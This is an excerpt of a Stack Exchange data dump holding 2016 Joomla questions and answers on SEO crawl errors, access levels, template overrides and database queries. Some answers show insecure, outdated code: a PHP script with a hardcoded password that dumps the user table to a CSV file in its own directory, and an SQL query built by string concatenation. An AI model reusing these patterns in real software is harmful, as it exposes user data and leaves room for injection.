  <row Id="17556" PostTypeId="2" ParentId="17545" CreationDate="2016-08-17T10:02:49.477" Score="0" Body="&lt;p&gt;I would use CiviCrm: the main logic is implemented and it can be tuned like you want it. Main reason for me is that there is a team that keeps coding new versions and keeps the whole thing up to date, all based on a use history of years.&#xA;Main reason not to do this: it is a lot of work to get it running inside Joomla, and you need to get used to the detailed level of customising that is expected.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2016-08-17T10:02:49.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17557" PostTypeId="2" ParentId="17549" CreationDate="2016-08-17T11:51:27.817" Score="5" Body="&lt;p&gt;You can download the Joomla upgrade package and place it in the &lt;strong&gt;tmp&lt;/strong&gt; folder using FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run the installation again. It will work. &lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-08-17T11:51:27.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17558" PostTypeId="2" ParentId="17545" CreationDate="2016-08-17T12:38:43.990" Score="1" Body="&lt;p&gt;You can use any JoomlaCCK powerful application such as:&#xA;a)Fabrik&#xA;b)&lt;a href=&quot;http://www.mintjoomla.com/joomla-components/cobalt.html&quot; rel=&quot;nofollow&quot;&gt;Cobalt&lt;/a&gt;&#xA;c)&lt;a href=&quot;http://www.seblod.com/&quot; rel=&quot;nofollow&quot;&gt;Seblod&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2016-08-17T12:38:43.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17559" PostTypeId="1" AcceptedAnswerId="17560" CreationDate="2016-08-17T13:27:01.637" Score="0" ViewCount="121" Body="&lt;p&gt;My website is built by Joomla3.6+k2 2.7. Today I find out that Google Webmaster indicates that &quot;Googlebot found an increase in server errors&quot;. On the &quot;Crawl Error&quot; page, I see something like the picture below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4tL06.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4tL06.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking one of the links I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0OSfL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0OSfL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is indicated in the picture that the tag list page was linked from &lt;a href=&quot;http://www.weiwei-tv.com/index.php/component/k2/author/842-admin&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.weiwei-tv.com/index.php/component/k2/author/842-admin&lt;/a&gt; and &#xA;&lt;a href=&quot;http://www.weiwei-tv.com/index.php/component/k2/author/842-admin?start=10&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.weiwei-tv.com/index.php/component/k2/author/842-admin?start=10&lt;/a&gt;, &#xA;These are k2 author pages, but I never enable author view in any occasion , so how does googlebot get to the author page? Also is there anyway to find out the &quot;linked from&quot; information for these two links? I asked this question on &quot;webmaster&quot; but they said it was too specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also a side question, the links in the first picture are actually good, why googlebot encounters 500 error when crawling them? I copy two of the tag list pages in the first picture below:&#xA;&lt;a href=&quot;http://www.weiwei-tv.com/indexindex.php/component/k2/tag/%E8%B5%B5%E8%96%87&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.weiwei-tv.com/indexindex.php/component/k2/tag/%E8%B5%B5%E8%96%87&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.weiwei-tv.com/index.php/component/k2/tag/%E4%B8%AD%E5%9B%BD%E7%BA%BD%E7%BA%A6%E7%94%B5%E5%BD%B1%E8%8A%82&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.weiwei-tv.com/index.php/component/k2/tag/%E4%B8%AD%E5%9B%BD%E7%BA%BD%E7%BA%A6%E7%94%B5%E5%BD%B1%E8%8A%82&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-08-17T16:18:18.767" Title="Why can googlebot crawl to author page while I never actually show author link on my website?" Tags="|k2|tags|seo|google-analytics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17560" PostTypeId="2" ParentId="17559" CreationDate="2016-08-17T16:18:18.767" Score="1" Body="&lt;p&gt;GoogleBot is a very aggressive bot. We have the exact same issue on K2 based websites, and we have determined that this is mainly caused by Google knowing some patterns (from other K2 websites) and so it tries to index pages that it knows it may exist on your website, such as author pages, despite the fact that you don't have any links to the author page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can give you another example. We have a K2 based page that has items in it, but none of these items are linked and nor there are links to these items anywhere from the website, but GoogleBot has indexed those items anyway. How? Again, pattern (it might be something else, but we think it's pattern).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your 500 links, it seems that your website experienced a hiccup end of June - beginning of July. I don't think it's anything to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how big your website is, but, on large websites, or websites with many extensions, forcing Google to index the pages that you want (and only the pages that you want) is a losing battle.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-17T16:18:18.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17562" PostTypeId="1" CreationDate="2016-08-17T17:37:21.337" Score="0" ViewCount="327" Body="&lt;p&gt;Is there any way I can export user details from joomla database such as name, password, email address, and import them into owncloud database via a cronjob?&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2016-12-15T20:52:00.780" Title="export user details from database via cron" Tags="|joomla-3.x|mysql|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17563" PostTypeId="2" ParentId="17515" CreationDate="2016-08-17T17:57:16.977" Score="1" Body="&lt;p&gt;It's hard to say where is the problem, but it seems to be a problem with your 3rd party templates or extensions. You get the problem on this line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$levelPrefix = str_repeat('- ', $link-&amp;gt;level - 1);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this file &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/form/field/menuitem.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/form/field/menuitem.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It handles adding hyphens - to menu items, ex.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;menu&#xA;--second-level&#xA;---third-level&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw you have already tried to rebuild the menu, don't know which level, but better rebuild them all, remove and build new. But, first fix any DB errors (Extensions-&gt;Manage-&gt;Database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, even with this warning, everything should work as expected, maybe you just won't see some hyphens (-) in the backend. If it's not a problem, then you can disable this type of warning, just go to &lt;code&gt;System-&amp;gt;Global Configuration-&amp;gt;Server&lt;/code&gt; and set error reporting to none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saw your screenshot. Since it regards &quot;levels&quot; then you can check if you have right levels inside &lt;code&gt;#__menu&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu_Item_Root row should have column &lt;code&gt;level&lt;/code&gt; set to 0, all new menus should be set to 1 and deeper submenus should be 2, and so on. If you create a new menu and you will see it's level set to anything else then 0, then this causes the warning and we will need to see why it saves the menu with lower, higher level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Menu_Item_Root&lt;/code&gt; should look like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GGE0m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGE0m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8182" LastEditorUserId="8182" LastEditDate="2016-08-19T09:53:04.970" LastActivityDate="2016-08-19T09:53:04.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17565" PostTypeId="2" ParentId="17554" CreationDate="2016-08-17T19:49:43.123" Score="2" Body="&lt;p&gt;Well... knowing that TCPDF is Open Source PHP class for generating PDF documents (&lt;a href=&quot;https://tcpdf.org/&quot; rel=&quot;nofollow&quot;&gt;tcpdf.org&lt;/a&gt;), and that is included in thousands of CMS and Web applications, I am quite confident that is compatible with newest Joomla.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's update 1.0.2 is even listed on &lt;a href=&quot;https://dev.virtuemart.net/projects/tcpdf/files&quot; rel=&quot;nofollow&quot;&gt;VM project files repository&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have updated it few weeks ago myself on the same combo J! 3.6.2 + VM 3.0.16 without any problems.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-08-17T19:49:43.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17566" PostTypeId="2" ParentId="17562" CreationDate="2016-08-17T20:51:20.687" Score="1" Body="&lt;p&gt;There might be others, more elegant ways to do it but I did it pretty simple - I created a non-Joomla PHP file, which connects to Joomla's DB and dumps user table into a CSV file. I then scheduled to open this page with CRON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the headers for pushing the file as a download are commented out, so the file will be created and saved in the same directory with your PHP file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Database Connection&#xA;&#xA;$host=&quot;localhost&quot;;&#xA;$uname=&quot;dbuser&quot;;&#xA;$pass=&quot;dbP@$$&quot;;&#xA;$database = &quot;joomla_db&quot;; &#xA;&#xA;$connection=mysql_connect($host,$uname,$pass); &#xA;&#xA;echo mysql_error();&#xA;&#xA;//or die(&quot;Database Connection Failed&quot;);&#xA;$selectdb=mysql_select_db($database) or &#xA;die(&quot;Database could not be selected&quot;); &#xA;&#xA;$result=mysql_select_db($database)&#xA;or die(&quot;database cannot be selected &amp;lt;br&amp;gt;&quot;);&#xA;&#xA;$output = &quot;&quot;;&#xA;$table = &quot;ab7cd_users&quot;; // Enter Your Table Name &#xA;$sql = mysql_query(&quot;select id,name,username,email,block from $table&quot;);&#xA;$columns_total = mysql_num_fields($sql);&#xA;&#xA;// Get The Field Name&#xA;&#xA;for ($i = 0; $i &amp;lt; $columns_total; $i++) {&#xA;$heading = mysql_field_name($sql, $i);&#xA;$output .= $heading.&quot;\t&quot;;&#xA;}&#xA;$output = substr($output, 0, -1);&#xA;$output .=&quot;\r\n&quot;;&#xA;&#xA;// Get Records from the table&#xA;&#xA;while ($row = mysql_fetch_array($sql)) {&#xA;for ($i = 0; $i &amp;lt; $columns_total; $i++) {&#xA;$output .=$row[&quot;$i&quot;].&quot;\t&quot;;&#xA;}&#xA;$output = substr($output, 0, -1);&#xA;$output .=&quot;\r\n&quot;;&#xA;}&#xA;&#xA;// Download the file&#xA;&#xA;$filename = &quot;users.csv&quot;;&#xA;/*&#xA;header('Content-type: application/csv');&#xA;header('Content-Disposition: attachment; filename='.$filename);&#xA;&#xA;echo $output;&#xA;*/&#xA;&#xA;file_put_contents ($filename , $output);&#xA;&#xA;echo &quot;Success&quot;;&#xA;&#xA;exit;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2016-08-17T20:51:20.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17567" PostTypeId="1" CreationDate="2016-08-17T21:16:29.350" Score="0" ViewCount="446" Body="&lt;p&gt;Hello i want to Defer parsing of JavaScript of the following link in joomla by using Javascript Async and Defer plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.domain.com/media/plg_jchoptimize/assets/gz/1/0/83c44f52555d09b338538d6e78c2a63d.js&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/media/plg_jchoptimize/assets/gz/1/0/83c44f52555d09b338538d6e78c2a63d.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i insert the path &#xA;/media/plg_jchoptimize/assets/gz/1/0/83c44f52555d09b338538d6e78c2a63d.js  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin shows the following error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strict Standards: Only variables should be assigned by reference in /home/iglobez3/public_html/domain.com/plugins/system/sr2win/sr2win.php on line 99&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me with the correct path. i will be very thankful to you.&lt;/p&gt;&#xA;" OwnerUserId="6854" LastActivityDate="2017-10-12T18:51:45.127" Title="Please correct the path for Joomla Javascript Async and Defer plugin" Tags="|joomla-3.x|plugin|javascript|fix-my-code|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17568" PostTypeId="1" AcceptedAnswerId="17570" CreationDate="2016-08-18T05:57:30.203" Score="3" ViewCount="486" Body="&lt;p&gt;I have two sub user groups of &lt;strong&gt;Registered&lt;/strong&gt; user group on my Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1. Present Students&lt;/code&gt; and&#xA;&lt;code&gt;2. Ex-Students&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want some modules to be shown to the &lt;code&gt;present students&lt;/code&gt; only but I can only set access to the parent &lt;strong&gt;Registered group&lt;/strong&gt; which makes it visible for both sub-groups. I googled about it, but couldn't find any proper solution. I read somewhere I need to play with the &lt;strong&gt;Special&lt;/strong&gt; access level couldn't figure out how.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What would be the most efficient way to achieve this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-08-18T07:49:24.377" Title="How to create two different types of registered users?" Tags="|user|user-groups|registration|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17570" PostTypeId="2" ParentId="17568" CreationDate="2016-08-18T07:49:24.377" Score="1" Body="&lt;p&gt;I believe you should be able to do this through Joomla's Access Levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Users&lt;/strong&gt; (&lt;em&gt;top menu&lt;/em&gt;) &gt;&gt; &lt;strong&gt;Access Levels&lt;/strong&gt; &gt;&gt; &lt;strong&gt;New&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a different access level for &lt;strong&gt;each&lt;/strong&gt; sub-usergroup.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once done, go back to your module setting and you should be able to set the access level to one that you created.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-18T07:49:24.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17571" PostTypeId="1" AcceptedAnswerId="17573" CreationDate="2016-08-18T09:39:34.603" Score="4" ViewCount="6528" Body="&lt;p&gt;I have a &lt;strong&gt;&lt;code&gt;varchar(255)&lt;/code&gt;&lt;/strong&gt; field in one of my &lt;strong&gt;&lt;code&gt;Jdatabase&lt;/code&gt;&lt;/strong&gt; tables containing values separated by &lt;strong&gt;commas&lt;/strong&gt;. Precisely, it contains numbers separated by commas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rCgRp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rCgRp.png&quot; alt=&quot;Table 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to retrieve the individual values using a custom &lt;strong&gt;PHP&lt;/strong&gt; module.&#xA;Actually, I need to select records (&lt;strong&gt;retrieve data&lt;/strong&gt;) from another table which have an id that exists in the comma-separated list of ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TTyGM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TTyGM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="12352" LastEditDate="2019-01-29T06:09:33.147" LastActivityDate="2019-01-29T06:09:33.147" Title="How to relate comma-separated ids from one table to the ids of another table?" Tags="|mysql|jdatabase|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="17573" PostTypeId="2" ParentId="17571" CreationDate="2016-08-18T10:45:41.917" Score="5" Body="&lt;p&gt;Just 2 simple queries, with first you select commas and then you check if IDs are inside that string. Just tested and it works using MySql IN() function with &lt;code&gt;$commas&lt;/code&gt; string value fetched from &lt;code&gt;$db-&amp;gt;loadResult()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't thing about anything simpler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// First get all commas&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('Commas'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__classes_attended'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('Id') . ' = 1');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$commas = $db-&amp;gt;loadResult();&#xA;&#xA;&#xA;// Select them from second table&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;clear();&#xA;$query-&amp;gt;select($db-&amp;gt;qn('Data_needed'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__jdatabse_table_2'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('Id') . ' IN (' . $commas . ')');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8182" LastEditorUserId="168" LastEditDate="2016-08-18T10:51:25.370" LastActivityDate="2016-08-18T10:51:25.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17574" PostTypeId="2" ParentId="17567" CreationDate="2016-08-18T11:39:15.540" Score="1" Body="&lt;p&gt;In the file &lt;code&gt;sr2win.php&lt;/code&gt;, on line 99, you have a reference assignment that you need to get rid of. Most likely, you will just need to remove the ampersand (&amp;amp;) from that file from that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on a production environment, you should also disable error reporting by setting the error reporting in the global configuration settings to &quot;None&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-18T11:39:15.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17575" PostTypeId="1" CreationDate="2016-08-18T13:12:53.667" Score="2" ViewCount="485" Body="&lt;p&gt;6 months ago I completely deleted my old 2.5 Joomla site and replaced it with a new site using a new template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the Google Search Console there are thousands of crawl errors. All the errors are pointed to the old site's URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WHZnn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHZnn.png&quot; alt=&quot;Crawl Errors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="120" LastEditDate="2016-11-16T22:45:37.213" LastActivityDate="2016-11-22T14:27:47.117" Title="Crawl errors in Google Search Console" Tags="|joomla-3.x|seo|google-analytics|google|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17576" PostTypeId="2" ParentId="17472" CreationDate="2016-08-18T13:21:32.337" Score="1" Body="&lt;p&gt;You've suggested using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html  {&#xA;  width: 100%;&#xA;  height: 100%;&#xA;  margin: 0px;&#xA;  padding: 0px;&#xA;  overflow-x: hidden; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for centering you should use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html  {&#xA;  ...&#xA;  margin: 0px auto;&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also from what I can see: some of modules at your screen shots must have content that going beyond a viewport.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-08-18T13:21:32.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17577" PostTypeId="1" AcceptedAnswerId="17811" CreationDate="2016-08-18T13:31:19.920" Score="1" ViewCount="413" Body="&lt;p&gt;I am using K2 extension in a website. When a user logs in, I want the page to be redirected to the user page automatically where he can see his posts. I am using K2 login module. When the user logs in, the module shows an option &lt;code&gt;my page&lt;/code&gt;. This is the page I want the page to be redirected.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="4134" LastEditDate="2016-09-07T07:50:46.940" LastActivityDate="2016-09-07T07:50:46.940" Title="K2 : Redirect user after login to User Blog Page" Tags="|joomla-3.x|k2|login|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17578" PostTypeId="2" ParentId="17575" CreationDate="2016-08-18T14:11:36.010" Score="0" Body="&lt;p&gt;Here is a good reference for removing the out of date indexed pages with explanations: &lt;a href=&quot;http://searchengineland.com/removing-urls-from-the-index-in-bulk-159646&quot; rel=&quot;nofollow&quot;&gt;http://searchengineland.com/removing-urls-from-the-index-in-bulk-159646&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Google's answer: &lt;a href=&quot;https://support.google.com/customsearch/answer/2631051?hl=en&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/customsearch/answer/2631051?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent future pages that you do not want indexed, you want to update your robots.txt file: &lt;a href=&quot;https://varvy.com/robottxt.html&quot; rel=&quot;nofollow&quot;&gt;https://varvy.com/robottxt.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-18T14:11:36.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17579" PostTypeId="2" ParentId="16017" CreationDate="2016-08-18T14:26:45.397" Score="2" Body="&lt;p&gt;We were having the same problem with this module.  It may be something with the newer Joomla version we're using but we couldn't get &lt;strong&gt;oooooo's&lt;/strong&gt; answer to work. There is a slightly new directory structure you must follow (We're using Joomla 3.6.2).  You must place your overrides in an &quot;&lt;strong&gt;html&lt;/strong&gt;&quot; directory inside your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PATH_TO_JOOMLA/components/com_content/views/article/tmpl/default.php&#xA;to&#xA;TEMPLATE_NAME/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is another example using a module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PATH_TO_JOOMLA/modules/mod_login/tmpl/default.php&#xA;to&#xA;TEMPLATE_NAME/html/mod_login/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had to create a blank default.php template for mod_custom that only contained&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $module-&amp;gt;content;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and put it in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/my-templates/html/mod_custom/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only then was I able to remove all the extra fluff Joomla wraps around my modules.  There should be an option to only display module html, and nothing more.&lt;/p&gt;&#xA;" OwnerUserId="8880" LastActivityDate="2016-08-18T14:26:45.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17581" PostTypeId="2" ParentId="17515" CreationDate="2016-08-18T15:13:42.497" Score="1" Body="&lt;p&gt;If you are comfortable working with the database, go to phpMyAdmin and browse the #__menu table.  Sort by ID and make sure you have a record that is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;: 1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Title&lt;/strong&gt;: Menu_Item_Root  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alias&lt;/strong&gt;: root &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Published&lt;/strong&gt;: 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and everything else can be left blank to fill in defaults. &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-18T15:13:42.497" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17582" PostTypeId="1" CreationDate="2016-08-18T15:48:09.280" Score="0" ViewCount="345" Body="&lt;p&gt;A while ago in this thread here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.virtuemart.net/index.php?topic=126403.0&quot; rel=&quot;nofollow&quot;&gt;https://forum.virtuemart.net/index.php?topic=126403.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GJC Web Design&lt;/strong&gt; described the way to get rid of &quot;Virtuemart aio&quot; empty menu item in Joomla's &quot;Components&quot; menu by doing this in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `jos_menu` WHERE `link` LIKE '%allinone%' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now my question is... what SQL query is necessary to remove &quot;tcpdf&quot; empty entry from Joomla's &quot;Components&quot; menu?&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2017-02-14T23:31:17.523" Title="How to remove tcpdf from Components in Joomla admin panel?" Tags="|joomla-3.5|virtuemart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17583" PostTypeId="2" ParentId="17582" CreationDate="2016-08-18T16:56:03.727" Score="0" Body="&lt;p&gt;For those who need to know how:&#xA;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `jos_menu` WHERE `title` LIKE '%tcp%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-08-18T16:56:03.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17584" PostTypeId="2" ParentId="5550" CreationDate="2016-08-18T18:45:24.933" Score="0" Body="&lt;p&gt;I tried lot of CCKs for Joomla. I used K2 for years but to create complex sites and functions it's not enough. My personal favorite and the only one what I can suggest is &lt;strong&gt;Cobalt 8&lt;/strong&gt;. This CCK is more an application builder with endless possibilities. You can do almost everything but I think it's not for beginners. On the official forum you can get help from the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cobalt 8: &lt;a href=&quot;http://www.mintjoomla.com/joomla-components/cobalt.html&quot; rel=&quot;nofollow&quot;&gt;http://www.mintjoomla.com/joomla-components/cobalt.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8881" LastActivityDate="2016-08-18T18:45:24.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17585" PostTypeId="1" AcceptedAnswerId="17586" CreationDate="2016-08-18T20:35:45.560" Score="1" ViewCount="97" Body="&lt;p&gt;I would like to add more email address fields to the user, this field is not mandatory, nor does it need to receive system notifications, just as storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would I just add more fields?&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2016-08-19T00:05:44.927" Title="adding additional email addresses to user" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
